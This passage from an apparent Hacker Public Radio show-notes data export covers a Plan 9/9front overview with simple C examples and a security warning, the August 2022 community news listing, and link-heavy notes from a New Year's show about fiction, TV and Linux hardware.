                                                            • \n
                                                            • Various torrent software (magnet links not supported)
                                                            • \n
                                                            • Drawterm\n
                                                                \n
                                                              • no, good luck, you will be laughed at
                                                              • \n
                                                            • \n
                                                            • Of course, 9p
                                                            • \n
                                                            \n

                                                            A Security aside

                                                            \n

                                                            Various server implementations for these protocols exist but you really shouldn't use them on the WAN as they are ancient, unmaintained, unaudited, and easy to exploit. Prime example: the /g/entoomen found a path traversal vulnerability in the 9front httpd server, then leveraged that vuln to exploit a vuln in the authentication system. Not that the boys back home did anything malicious with this bug . . . but the ability to pwn a system by sending cleverly crafted GET requests should tell you enough about the current state of security in 9.

                                                            \n
                                                              \n
                                                            • Firewall\n
                                                                \n
                                                              • no
                                                              • \n
                                                            • \n
                                                            • Disk Encryption\n
                                                                \n
                                                              • unreliable
                                                              • \n
                                                            • \n
                                                            • Access control\n
                                                                \n
                                                              • what?
                                                              • \n
                                                            • \n
                                                            • filesystem\n
                                                                \n
                                                              • cwfs has an poorly documented special user called none that is allowed to connect to fossil, cwfs, and maybe hjfs without a password. Set the nonone option in cwfs if you are even thinking about putting 9 on the internet.
                                                              • \n
                                                            • \n
                                                            \n

                                                            Don't even think about putting 9 on the internet

                                                            \n

                                                            UNIX compat layer (ape)

                                                            \n

                                                            APE is the ANSI POSIX Emulator. It doesn't work and is almost entirely empty. Lots of tiny programs to write, not much interest in writing lots of tiny program. There is a general attitude among 9 users that \"9 is unique\" porting POSIX libs to 9 would ruin the appeal. I almost think I agree with this sentiment.

                                                            \n

                                                            Emulation

                                                            \n
                                                              \n
                                                            • Linux\n
                                                                \n
                                                              • don't
                                                              • \n
                                                            • \n
                                                            • GameBoy
                                                            • \n
                                                            • GameBoyAdvance
                                                            • \n
                                                            • NES
                                                            • \n
                                                            • SNES
                                                            • \n
                                                            • Sega MegaDrive/Genesis
                                                            • \n
                                                            • c64
                                                            • \n
                                                            • vmx, a PC emulator (effectively virtualization)\n
                                                                \n
                                                              • It's slow
                                                              • \n
                                                              • it almost works
                                                              • \n
                                                              • it crashes your system
                                                              • \n
                                                              • cwfs gets corrupted
                                                              • \n
                                                              • \"runs\" OpenBSD, Linux, and ancient Windows with graphics support
                                                              • \n
                                                            • \n
                                                            • and also various emulators for obscure architectures
                                                            • \n
                                                            \n

                                                            VCS

                                                            \n
                                                              \n
                                                            • Mercurial used to come with 9front but it has been removed.
                                                            • \n
                                                            • CVS does exist but not in the base system.
                                                            • \n
                                                            • A native git implementation exists and is in the base system. It's bare bones but it mostly works.
                                                            • \n
                                                            \n

                                                            Community Maintained Software

                                                            \n

                                                            The 9front community has been collecting known programs for some time and various other community software can be found in the wiki. Both are served as a ports system, similar to a BSD style ports system. There are no binary packages. Makefiles are broken.

                                                            \n

                                                            Programming Languages

                                                            \n

                                                            mkfiles

                                                            \n

                                                            9 ships a program called mk(1). Syntax (in the simplest ways) is identical to UNIX make(1).

                                                            \n

                                                            The Absurdities of 9 C

                                                            \n

                                                            Plan 9 C is syntactically similar to ANSI C but it varies. The stdlibs on 9 are much simpler than the POSIX monster.

                                                            \n
                                                            /* POSIX C example */\n#include <stdio.h>\n\nint main(){\n    printf("hello, world\\n");\n    return 0;\n}\n
                                                            \n
                                                            /* 9 C example */\n#include <u.h>\n#include <libc.h>\n\nvoid main(){\n    print("hello, world\\n");\n    exits(0);\n}\n
                                                            \n

                                                            u.h contains CPU specific instructions, libc.h contains all of the system calls, time functions, math functions, unicode functions, and print functions. In contrast to POSIX, functions in 9c return strings instead of ints.

                                                            \n
                                                            # Compiling on UNIX\n$ cc main.c\n$ ./a.out\nhello, world\n$\n
                                                            \n
                                                            # Compiling on 9\n% 6c main.c\n% 6l main.6\n% 6.out\nhello, world\n%\n
                                                            \n

                                                            In the 9 compiler example, I'm using the amd64 compiler and linker. Notice how the 6 persists as the prefix/suffix to help developers remember which architecture this specific program is written for. Instead of unspecific object files with a .o suffix, the object file's suffix is actually representative of what types of opcodes the file contains. Similarly, after linking, the 6. prefix tells us that the binary is for an amd64 processor.

                                                            \n

                                                            And also, the simplest UNIX program with buffers: read from stdin and write directly to stdout:

                                                            \n
                                                            /* POSIX C */\n#include <stdio.h>\n\nint main(int argc, char *argv[]){\n    char buf[32];\n    size_t bufs = sizeof(char)*32;\n    size_t nread = 0;\n\n    while((nread = fread(buf, 1, bufs, stdin)) > 0){\n        fwrite(buf, 1, nread, stdout);\n    }\n\n    return 0;\n}\n
                                                            \n
                                                            /* Plan 9 C */\n#include <u.h>\n#include <libc.h>\n\nvoid main(int argc, char *argv[]){\n    char buf[32];\n    char bufs = sizeof(char)*32;\n    int nread = 0;\n\n    while((nread = read(0, buf, bufs)) > 0){\n        write(1, buf, nread);\n    }\n\n    exits(0);\n}\n
                                                            \n

                                                            In 9, stdin is file descriptor 0, stdout is 1, and stderr is 2.

                                                            \n

                                                            And, the binary sizes betwen the two. You probably recognize a.out, this one was compiled with GCC. 6.out is an amd64 Plan 9 binary compiled on 9.

                                                            \n
                                                            $ ls -sh ./*.out\n4.0K ./6.out\n 28K ./a.out\n
                                                            \n

                                                            Binaries on plan 9 are statically linked. It's somewhat strange to see that a statically linked binary is smaller than a dynamically linked one. Even compiling the plan 9 source on Linux using plan9port yeilds a large binary: 40K.

                                                            \n

                                                            I have not written 9C in a long time so I cannot say much more with confidence and authority. Refer to C Programming in Plan 9 from Bell Labs for more information.

                                                            \n

                                                            The acid(1) debugger exists but it's hard to use if you're not fluent in assembly.

                                                            \n

                                                            Ancient Go

                                                            \n

                                                            Ancient Go once ran on 9. In 2022, you're better off just writing C and rc.

                                                            \n

                                                            WiFi

                                                            \n

                                                            Some wifi cards are supported on 9front. My thinkpad x220 uses the iwl drivers. The FQA is somewhat vague when it comes to actually using the drivers. Good luck :)

                                                            \n

                                                            Why isn't 9 more popular if it supposedly improves on \"bad Unix ideas\"?

                                                            \n
                                                              \n
                                                            • Unix is 'just good enough'
                                                            • \n
                                                            • 9 is not 'better enough' to beat out 'just good enough'
                                                            • \n
                                                            • Porting software is difficult^impossible because 9 was deliberately written to be not backwards compatible.\n
                                                                \n
                                                              • \"If you port it, they will come\"
                                                              • \n
                                                            • \n
                                                            • 9 is uncomfortable to use if you have Unix muscle memory
                                                            • \n
                                                            • no modern web browser
                                                            • \n
                                                            • no video games (I'm pretty sure there are doom and quake source ports though)
                                                            • \n
                                                            • multimedia consumption is hard
                                                            • \n
                                                            • no GNU
                                                            • \n
                                                            \n

                                                            Why do people use 9 if it's so bad?

                                                            \n

                                                            I can't be sure about all other ~20 Plan 9 fans in the world, but for myself, it's purely out of a genuine curiosity and love for computing. My motivation for learning obscure, unnecessary, and quite frankly boring things related to computers is that it brings me some sense of satisfaction/accomplishment/enjoyment. Linux stopped being fun for me when I came to the realization that all distributions are fundamentally the same. I started exploring the BSD world only to realize that all UNIX-like operating systems are fundamentally the same. Although BSD remains a store of fun for me, I occasionally feel burned out on UNIX even if it's an abstract idea/experience/codebase I cherish.

                                                            \n

                                                            When I sit down at a computer my goal is always to discover something new, learn a new concept, explore alternative paradigms, and, most of all, to have fun in the process.

                                                            \n

                                                            For most people, 9 is a tourist experience. For me, it's the final frontier. Although I have yet to learn as much about 9 as I have about UNIX, every time I swap hard drives and boot into 9 I feel a sense of coming home. Sometimes I think I am wilfully resisting becoming a 9 expert because it will result in me struggling to find the next non-bad OS paradigm to explore.

                                                            \n

                                                            And when I think about \"using a computer\", what do I really do on the computer? I learn about it, learn about the software running on it, and proceed to write about it so that I can reinforce the ideas in a Feynman-esque way. I'm not really providing a real tangible value to the world because it's purely a \"hey, here's the things I learned the hard way so you don't have to\".

                                                            \n

                                                            Conclusion:

                                                            \n
                                                            \n

                                                            How do I do xyz on 9?

                                                            \n
                                                            \n

                                                            don't. search engines won't help. Man pages won't help. /sys/doc might help. Reading the source code won't help. have fun :)

                                                            \n

                                                            Or consider:

                                                            \n
                                                            term% vt -xb\nterm% ssh user@host\n$ tmux a\n$ reset\n# some commands\n$ reset\n# some commands\n$ reset\n
                                                            \n

                                                            Alternatively:

                                                            \n
                                                            term% vncv host:display\n
                                                            \n

                                                            Further reading:

                                                            \n\n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"UNIX, Plan 9","version":0,"downloads":0,"valid":1}, {"id":3676,"date":"2022-09-05","title":"HPR Community News for August 2022","duration":9576,"summary":"HPR Volunteers talk about shows released and comments posted in August 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Stache_AF, \n Hipernike.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3651Mon2022-08-01HPR Community News for July 2022HPR Volunteers
                                                            3652Tue2022-08-02Registered memoryJWP
                                                            3653Wed2022-08-03Hello HPR CommunityStache_AF
                                                            3654Thu2022-08-04Use the data in the Ogg feed to create a website.norrist
                                                            3655Fri2022-08-05BSD for Linux usersbinrc
                                                            3656Mon2022-08-08Importance of Small toy projectsnorrist
                                                            3657Tue2022-08-09Small time sysadminSome Guy On The Internet
                                                            3658Wed2022-08-10Linux Inlaws S01E62: HPR's inner workingsmonochromec
                                                            3659Thu2022-08-11Developing an HPR static site generatorRho`n
                                                            3660Fri2022-08-12BASICAhuka
                                                            3661Mon2022-08-15Ham Radio testingArcher72
                                                            3662Tue2022-08-16Hacker Public Radio 2021 - 2022 New Years Show Part 1Honkeymagoo
                                                            3663Wed2022-08-17How I got into TechStache_AF
                                                            3664Thu2022-08-18Secret hat conversationsSome Guy On The Internet
                                                            3665Fri2022-08-19UNIX Is Sublimebinrc
                                                            3666Mon2022-08-22One Weird TrickLurking Prion
                                                            3667Tue2022-08-23Hacker Public Radio 2021 - 2022 New Years Show Part 2Honkeymagoo
                                                            3668Wed2022-08-24Linux Inlaws S01E63: John Hawley on kernel dot org and other shenanigansmonochromec
                                                            3669Thu2022-08-25My First Podcast: My Journey into the Computer WorldHipernike
                                                            3670Fri2022-08-26Changing PlansAhuka
                                                            3671Mon2022-08-29Response to Episode 3655, \"BSD for Linux Users\"Claudio Miranda
                                                            3672Tue2022-08-30Hacker Public Radio 2021 - 2022 New Years Show Part 3Honkeymagoo
                                                            3673Wed2022-08-31Recording for Hacker Public Radiodnt
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 28 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 4 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3606\n(2022-05-30) \"Infinity is just a big number and other proofs\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2022-08-12:\n\"You see\"

                                                              \n
                                                            • hpr3629\n(2022-06-30) \"Linux Inlaws S01E59: The Show with Red Pandas Mosaic Killers and Metal Corrosion\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nAaron on 2022-08-12:\n\"Excellent interview\"

                                                              \n
                                                            • hpr3643\n(2022-07-20) \"My computing history and the software I use\"\nby binrc.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nShawn on 2022-08-08:\n\"Key bindings\"

                                                              \n
                                                            • hpr3648\n(2022-07-27) \"A response to tomorrows show\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nfolky on 2022-08-10:\n\"Known Unknowns 2.0\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 24 comments on 13 of this month's shows:

                                                            \n
                                                            • hpr3651\n(2022-08-01) \"HPR Community News for July 2022\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2022-08-01:\n\"API\"
                                                              • Comment 2:\nKevin O'Brien on 2022-08-11:\n\"High Winds\"

                                                              \n
                                                            • hpr3655\n(2022-08-05) \"BSD for Linux users\"\nby binrc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2022-08-05:\n\"Excellent Breakdown of BSD!\"
                                                              • Comment 2:\nnorrist on 2022-08-05:\n\"why I use OpenBSD and FreeBSD\"
                                                              • Comment 3:\nPhoenix on 2022-08-07:\n\"Suggestion\"
                                                              • Comment 4:\nKevin O'Brien on 2022-08-11:\n\"I loved the show\"

                                                              \n
                                                            • hpr3656\n(2022-08-08) \"Importance of Small toy projects\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-08-20:\n\"Love this show.\"

                                                              \n
                                                            • hpr3657\n(2022-08-09) \"Small time sysadmin\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLurking Prion on 2022-08-13:\n\"Thank you!\"
                                                              • Comment 2:\nKevin O'Brien on 2022-08-13:\n\"Thank you\"

                                                              \n
                                                            • hpr3658\n(2022-08-10) \"Linux Inlaws S01E62: HPR's inner workings\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTwinn on 2022-08-10:\n\"Painful\"
                                                              • Comment 2:\nSome Guy On The Internet on 2022-08-20:\n\"I have more listeners than stars in the Universe.\"

                                                              \n
                                                            • hpr3659\n(2022-08-11) \"Developing an HPR static site generator\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-08-20:\n\"More Magic.\"

                                                              \n
                                                            • hpr3660\n(2022-08-12) \"BASIC\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2022-08-18:\n\"BASIC lives on\"
                                                              • Comment 2:\nSome Guy On The Internet on 2022-08-20:\n\"Visual Basic 6.0 for the Win.\"

                                                              \n
                                                            • hpr3661\n(2022-08-15) \"Ham Radio testing\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2022-07-24:\n\"Left out a show note\"

                                                              \n
                                                            • hpr3663\n(2022-08-17) \"How I got into Tech\"\nby Stache_AF.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr3664\n(2022-08-18) \"Secret hat conversations\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\none_of_spoons on 2022-08-25:\n\"serious talking\"

                                                              \n
                                                            • hpr3665\n(2022-08-19) \"UNIX Is Sublime\"\nby binrc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-08-12:\n\"File extensions are valid\"
                                                              • Comment 2:\nhipernike on 2022-08-19:\n\"Bind mount\"
                                                              • Comment 3:\nSome Guy On The Internet on 2022-08-20:\n\"I like file extensions\"
                                                              • Comment 4:\none-of-spoons on 2022-08-20:\n\"Free revision.\"

                                                              \n
                                                            • hpr3666\n(2022-08-22) \"One Weird Trick\"\nby Lurking Prion.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-08-11:\n\"enthusiasm and willingness to learn\"
                                                              • Comment 2:\nLurking Prion on 2022-08-27:\n\"Rare Gems, indeed!\"

                                                              \n
                                                            • hpr3671\n(2022-08-29) \"Response to Episode 3655, \"BSD for Linux Users\"\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nalan86 on 2022-08-30:\n\"Feedback\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-August/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Git repository for HPR development

                                                            \n

                                                            For security reasons the Gitea service running on https://repo.anhonesthost.net requires people to log in with an account to view the repositories.

                                                            \n

                                                            Is this acceptable or do we need to move the code to another location?

                                                            \n

                                                            Older HPR shows on archive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in May 2022. We are keeping a running total here to show progress:

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            \nMonth\n\nMonth count\n\nRunning total\n\nRemainder\n
                                                            \n2022-04\n\n130\n\n130\n\n1428\n
                                                            \n2022-05\n\n140\n\n270\n\n1288\n
                                                            \n2022-06\n\n150\n\n420\n\n1138\n
                                                            \n2022-07\n\n155\n\n575\n\n983\n
                                                            \n2022-08\n\n155\n\n730\n\n828\n
                                                            \n\n

                                                            Updated: 2022-09-03 18:34:16

                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3677,"date":"2022-09-06","title":"2021-2022 New Years Show Part 4","duration":11653,"summary":"The HPR community comes together to chat","notes":"

                                                            Hacker Public Radio New Years Eve Show 2021 - 2022

                                                            \n

                                                            Part 4

                                                            \n

                                                            Star Wars : The Bad Batch

                                                            \n

                                                            https://en.wikipedia.org/wiki/Star_Wars:_The_Bad_Batch

                                                            \n

                                                            https://www.starwars.com/series/star-wars-the-bad-batch

                                                            \n

                                                            Star Wars Rebels

                                                            \n

                                                            https://en.wikipedia.org/wiki/Star_Wars_Rebels

                                                            \n

                                                            https://www.starwars.com/series/star-wars-rebels

                                                            \n

                                                            Star Wars - The Clone Wars

                                                            \n

                                                            https://en.wikipedia.org/wiki/Star_Wars:_The_Clone_Wars_(2008_TV_series)

                                                            \n

                                                            https://www.starwars.com/series/star-wars-the-clone-wars

                                                            \n

                                                            Star Wars - Book Of Boba Fett

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett

                                                            \n

                                                            https://www.starwars.com/series/the-book-of-boba-fett

                                                            \n

                                                            Father Ted

                                                            \n

                                                            https://www.imdb.com/title/tt0111958/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Father_Ted

                                                            \n

                                                            Gary Gygax - Creator of Dungeons & Dragons

                                                            \n

                                                            https://dungeons.fandom.com/wiki/Gary_Gygax

                                                            \n

                                                            https://www.wired.com/2008/03/dungeon-master-life-legacy-gary-gygax/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Gary_Gygax

                                                            \n

                                                            Tolkien, The Hobbit, Lord Of The Rings

                                                            \n

                                                            https://www.tolkiensociety.org/author/biography/

                                                            \n

                                                            https://en.wikipedia.org/wiki/J._R._R._Tolkien

                                                            \n

                                                            http://tolkiengateway.net/wiki/The_Hobbit

                                                            \n

                                                            http://tolkiengateway.net/wiki/Lord_of_the_rings

                                                            \n

                                                            The Wheel Of Times (Book series and TV show)

                                                            \n

                                                            https://stoneblackfiction.com/2020/07/26/book-review-the-wheel-of-time-a-complete-series-review/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Wheel_of_Time

                                                            \n

                                                            https://www.imdb.com/title/tt7462410/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Wheel_of_Time_(TV_series)

                                                            \n

                                                            Good Omens TV Show

                                                            \n

                                                            https://www.imdb.com/title/tt1869454/

                                                            \n

                                                            Colour Of Magic - TV & Book

                                                            \n

                                                            https://www.imdb.com/title/tt1869454/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Colour_of_Magic

                                                            \n

                                                            https://www.imdb.com/title/tt1079959/

                                                            \n

                                                            Star Labs - UK Linux friendly PC reseller

                                                            \n

                                                            https://us.starlabs.systems/

                                                            \n

                                                            Dell XPS 13 Developer Edition

                                                            \n

                                                            https://www.engadget.com/dells-xps-13-plus-developer-edition-is-the-first-laptop-certified-for-ubuntu-2204-lts-082022945.html

                                                            \n

                                                            Juno Is A Roman Goddess

                                                            \n

                                                            https://mythopedia.com/topics/juno

                                                            \n

                                                            Juno Computers - UK/ USA - more Linux PCs for sale

                                                            \n

                                                            https://junocomputers.com/uk/

                                                            \n

                                                            Juno Is Also a Moon of Jupiter

                                                            \n

                                                            https://en.wikipedia.org/wiki/Moons_of_Jupiter

                                                            \n

                                                            Tuxedo Computers - German Linux PC Reseller

                                                            \n

                                                            https://www.tuxedocomputers.com/

                                                            \n

                                                            Arthur C Clarke's three laws - Any sufficiently advanced technology is indistinguishable from magic

                                                            \n

                                                            https://en.wikipedia.org/wiki/Clarke%27s_three_laws

                                                            \n

                                                            Axe of The Dwarvish Lords - Dungeons & Dragons Axe That Turns Wielder Into a Dwarf

                                                            \n

                                                            http://dnd5e.wikidot.com/wondrous-items:axe-of-the-dwarvish-lords

                                                            \n

                                                            Fire Sign Theater

                                                            \n

                                                            https://wfmu.org/playlists/FT

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Firesign_Theatre

                                                            \n

                                                            https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours

                                                            \n

                                                            Magic The Gathering

                                                            \n

                                                            https://magic.wizards.com/en

                                                            \n

                                                            (in reference to Jim Butcher, the Dresden Files series): Joe, Wikipedia now says that there are to be 22 books followed by a \"big apocalyptic trilogy\"
                                                            \n[22:28:36] (Channel) Moss: https://deadline.com/2018/10/the-dresden-files-fantasy-novels-optioned-fox21-tv-studios-series-development-1202476632/

                                                            \n

                                                            Lively discussion of speculative fiction and worldbuilding - RIP Terry Pratchett

                                                            \n

                                                            https://jerryjenkins.com/worldbuilding/

                                                            \n

                                                            https://writersedit.com/fiction-writing/the-ultimate-guide-to-world-building-how-to-write-fantasy-sci-fi-and-real-life-worlds/

                                                            \n

                                                            https://www.reddit.com/r/worldbuilding/

                                                            \n

                                                            Discussed a current creative project of Ken Fallon at length - discussed the importance of using FOSS for longevity of creative projects to avoid getting locked out by proprietary file formats.

                                                            \n

                                                            Ken uses paper + Google Docs... reminded of the Google Graveyard : Google Graveyard - https://killedbygoogle.com/

                                                            \n

                                                            Game Of Thrones Books

                                                            \n

                                                            https://en.wikipedia.org/wiki/A_Song_of_Ice_and_Fire

                                                            \n

                                                            Considerations for storytelling :

                                                            \n

                                                            The Writer's Journey - https://en.wikipedia.org/wiki/The_Writer%27s_Journey:_Mythic_Structure_for_Writers

                                                            \n

                                                            The Seven Basic Plots - https://en.wikipedia.org/wiki/The_Seven_Basic_Plots

                                                            \n

                                                            The Hero's Journey - https://en.wikipedia.org/wiki/Hero%27s_journey

                                                            \n

                                                            Also, not enough people draw upon the 100 Year's War or Italian city-states period for inspiration - which is the secret sauce for Game of Thrones

                                                            \n

                                                            Linked notes, for building webs of information. Crossplaftorm, Linux, Mac, Windows

                                                            \n

                                                            Should try worldbuilding with FOSS :

                                                            \n

                                                            Spotiflyer on F-Droid

                                                            \n

                                                            https://f-droid.org/packages/com.shabinder.spotiflyer/

                                                            \n

                                                            Youtube-DL

                                                            \n

                                                            https://youtube-dl.org/

                                                            \n

                                                            Mailspring

                                                            \n

                                                            https://getmailspring.com/

                                                            \n

                                                            Obsdian - https://obsidian.md/
                                                            \nLogseq - https://logseq.com/
                                                            \nZettlr - https://www.zettlr.com/download

                                                            \n

                                                            Writing :

                                                            \n

                                                            Libre Office - https://www.libreoffice.org/

                                                            \n

                                                            Art :
                                                            \nGIMP - https://www.gimp.org/
                                                            \nKrita - https://krita.org/en/
                                                            \n

                                                            \n

                                                            Good Evernote alternative :

                                                            \n

                                                            Joplin - https://joplinapp.org

                                                            \n

                                                            Glimpse - failed politically motivated GIMP fork - https://news.itsfoss.com/glimpse-gimp-fork-archived/

                                                            \n

                                                            The current favourite Audacity alternative - https://tenacityaudio.org/

                                                            \n

                                                            Youtube Removes Dislikes

                                                            \n

                                                            https://techcrunch.com/2021/11/10/youtube-is-removing-the-dislike-count-on-all-videos-across-its-platform/

                                                            \n

                                                            https://www.premiumbeat.com/blog/youtube-removes-dislike-count/

                                                            \n

                                                            If Terry Pratchett wrote 42 books, the universe would explode

                                                            \n

                                                            https://www.terrypratchettbooks.com/

                                                            \n

                                                            Terry Goodkind - Sword of Truth - don't go past the second book

                                                            \n

                                                            https://www.terrygoodkind.com/

                                                            \n

                                                            Orson Scott Card Offical Website

                                                            \n

                                                            http://www.hatrack.com/

                                                            \n

                                                            Orson Scott Card Interview With WIred Magazine - Ender's Game

                                                            \n

                                                            https://www.wired.com/2013/10/cardqa/

                                                            \n

                                                            Ender's Game as well - don't go past the second book

                                                            \n

                                                            Ender's Shadow

                                                            \n

                                                            https://en.wikipedia.org/wiki/Ender%27s_Shadow

                                                            \n

                                                            Alvin Maker

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Tales_of_Alvin_Maker

                                                            \n

                                                            Lost Gate, Gate Thief, and Gatefather - part of Mither Mages trilogy by Orson Scott Card

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Lost_Gate

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Gate_Thief

                                                            \n

                                                            Artemis Fowl

                                                            \n

                                                            https://en.wikipedia.org/wiki/Artemis_Fowl

                                                            \n

                                                            Cadfael Chronicles

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Cadfael_Chronicles

                                                            \n

                                                            The Hunger Games

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Hunger_Games

                                                            \n

                                                            https://www.imdb.com/title/tt1392170/ (movie)

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Hunger_Games_(film)

                                                            \n

                                                            https://www.lionsgate.com/franchises/the-hunger-games

                                                            \n

                                                            https://brantsteele.net/hungergames/disclaimer.php - The Hunger Games Simulator

                                                            \n

                                                            Twilight is garbage?

                                                            \n

                                                            https://en.wikipedia.org/wiki/Twilight_(novel_series)

                                                            \n

                                                            https://www.imdb.com/title/tt1099212/

                                                            \n

                                                            https://www.reddit.com/r/twilight/comments/gq7uil/why_does_everyone_think_twilight_is_so_bad_a_rant/ - thoughts from Reddit

                                                            \n

                                                            https://www.cinemablend.com/news/2570595/the-twilight-books-vs-movies-major-differences-from-stephenie-meyers-novels-and-the-films (How the books and movies differ)

                                                            \n

                                                            Jar Jar Binks is a Sith Lord aka The Darth Jar Theory

                                                            \n

                                                            theory goes that by prolonging the Clone Wars and helping Doku escape, he enabled the Empire to continue. Also, Palpatine was helped into power by his machinations.

                                                            \n

                                                            https://insidethemagic.net/2021/10/jar-jar-binks-sith-al1/

                                                            \n

                                                            https://screenrant.com/star-wars-details-prove-darth-jar-jar-theory/

                                                            \n

                                                            https://swfanon.fandom.com/wiki/Darth_Jar_Jar_(Beethoven4ever)

                                                            \n

                                                            https://www.cbr.com/star-wars-darth-jar-jar-theories-benefit-hated-character/

                                                            \n

                                                            Star Wars Droids

                                                            \n

                                                            https://starwars.fandom.com/wiki/Star_Wars:_Droids:_The_Adventures_of_R2-D2_and_C-3PO

                                                            \n

                                                            https://www.imdb.com/title/tt0088510/

                                                            \n

                                                            https://youtu.be/ygr8wsqrhtI

                                                            \n

                                                            Star Wars Holiday Special

                                                            \n

                                                            https://www.starwarsholidayspecial.com/

                                                            \n

                                                            https://www.imdb.com/title/tt0193524/

                                                            \n

                                                            https://youtu.be/6hH8rxarVG8

                                                            \n

                                                            Yuuzhan Vong

                                                            \n

                                                            https://starwars.fandom.com/wiki/Yuuzhan_Vong

                                                            \n

                                                            Chiss

                                                            \n

                                                            https://starwars.fandom.com/wiki/Chiss/Legends

                                                            \n

                                                            Joker (movie)

                                                            \n

                                                            https://www.imdb.com/title/tt7286456/

                                                            \n

                                                            Also Heath Ledger is the best Joker ever says Honkey Magoo

                                                            \n

                                                            Star Wars - The First Order

                                                            \n

                                                            https://starwars.fandom.com/wiki/First_Order

                                                            \n

                                                            Jedi Praxeum aka Jedi School

                                                            \n

                                                            https://starwars.fandom.com/wiki/Jedi_Praxeum

                                                            \n

                                                            Marvel Multiverse

                                                            \n

                                                            https://en.wikipedia.org/wiki/Multiverse_(Marvel_Comics)

                                                            \n

                                                            The Simpsons

                                                            \n

                                                            https://simpsons.fandom.com/wiki/Simpsons_Wiki

                                                            \n

                                                            The Simpsons Predictions

                                                            \n

                                                            https://www.joe.co.uk/entertainment/the-definitive-list-of-everything-the-simpsons-predicted-that-shockingly-came-true-305627

                                                            \n

                                                            https://collider.com/predictions-the-simpsons-came-true/

                                                            \n

                                                            South Park

                                                            \n

                                                            https://southpark.cc.com/

                                                            \n

                                                            Dick Van Dyke Show

                                                            \n

                                                            https://www.imdb.com/title/tt0054533/

                                                            \n

                                                            https://www.metv.com/shows/the-dick-van-dyke-show

                                                            \n

                                                            https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/dick-van-dyke-show/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Dick_Van_Dyke_Show

                                                            \n

                                                            Mary Tyler Moore Show

                                                            \n

